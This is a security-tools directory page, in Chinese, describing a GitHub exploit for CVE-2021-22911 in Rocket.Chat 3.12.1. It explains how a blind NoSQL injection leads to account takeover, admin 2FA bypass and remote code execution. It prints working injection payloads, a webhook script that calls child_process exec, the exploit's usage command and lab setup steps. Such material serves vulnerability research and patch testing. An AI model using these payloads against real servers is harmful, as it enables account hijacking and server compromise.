Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2021-22911 — Pre-Auth Blind NoSQL Injection 导致 Rocket Chat 3.12.1 远程代码执行 | Kitploit
工具/GitHubGitHub/csenox/cve-2021-22911
权限提升漏洞分析漏洞利用Web应用程序漏洞利用渗透测试远程访问工具
GitHubcsenox/cve-2021-22911

CVE-2021-22911

Pre-Auth Blind NoSQL Injection 导致 Rocket Chat 3.12.1 远程代码执行

查看仓库
6183年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2021-22911

预认证盲注NoSQL注入导致Rocket Chat 3.12.1远程代码执行

  • getPasswordPolicy方法容易受到NoSQL注入攻击,且不需要身份验证/授权。它可以通过泄露密码重置令牌来接管账户。接管管理员账户会导致远程代码执行。

解释

  1. 劫持用户账户(未经身份验证)
  • 在getPasswordPolicy端点的密码重置token参数中存在NoSQL注入,该参数接受JSON对象,允许我们使用**$regex**运算符。我们利用它来执行盲注NoSQL注入以获取重置令牌。
  1. 权限提升至管理员(已认证)
  • 因此,管理员用户很可能受到双因素认证(2FA)保护。所以,即使我们通过(1)更改了管理员的密码,登录时仍会提示输入2FA验证码。
  • users.list API端点接受查询参数,该参数容易受到NoSQL注入攻击。我们还可以通过抛出错误来检索数据。
  • 我们运行以下查询来获取管理员的2FA密钥:{"$where":"this.username==='admin' && (()=>{ throw this.services.totp.secret })()"}
  • 接下来,我们只需执行(1)重置管理员的密码,并使用2FA密钥生成代码,然后使用该代码登录。
  • 更新:你也可以使用与检索2FA密钥相同的方式检索重置令牌:{"$where":"this.username==='admin' && (()=>{ throw this.services.password.reset.token })()"}
  1. 远程代码执行(已认证 - 管理员)
  • Rocket.Chat有一个名为“集成(Integrations)”的功能,允许创建传入和传出的Web钩子。这些Web钩子可以关联脚本,当Web钩子被触发时,脚本会执行。
  • 我们创建一个集成,使用以下脚本:
root@kitploit:~
const require = console.log.constructor('return process.mainModule.require')();
const { exec } = require('child_process');
exec('command here');
  • 接下来,我们只需触发Web钩子即可获得远程代码执行 :)

用法

  • 你需要一个没有设置2FA的低权限用户的电子邮件。(-u)
  • 你还需要知道管理员的电子邮件。如果管理员受2FA保护,这也不是问题。(-a)
root@kitploit:~
python3 exploit.py -u "[email protected]" -a "[email protected]" -t "http://rocket.local"

环境

  • 在Rocket Chat 3.12.1上测试
  • 使用Docker构建自己的测试环境:
root@kitploit:~
docker run --name db -d mongo:3.6 --smallfiles --replSet rs0 --oplogSize 128
docker exec -ti db mongo --eval "printjson(rs.initiate())"
docker run --name rocketchat -p 80:3000 --link db --env ROOT_URL=http://localhost --env MONGO_OPLOG_URL=mongodb://db:27017/local -d rocket.chat:3.12.1

  • 启用密码策略
  • 为管理员启用双因素认证
  • 注册一个普通用户。

注意:如果你不想让管理员受2FA保护,可以执行以下操作。

  1. 发送忘记密码邮件
  2. 获取管理员的重置令牌
  3. 使用检索到的重置令牌更改密码
root@kitploit:~
# Admin Account Takover [ No 2fa ]
forgotpassword(adminmail,target)
token = resettoken(target)
changingpassword(target,token)

致谢

  • https://hackerone.com/reports/1130721 (Sonar源)
  • https://blog.sonarsource.com/nosql-injections-in-rocket-chat

Exploit-db

  • https://www.exploit-db.com/exploits/49960 (v1)
  • https://www.exploit-db.com/exploits/50108 (v2)
下载工具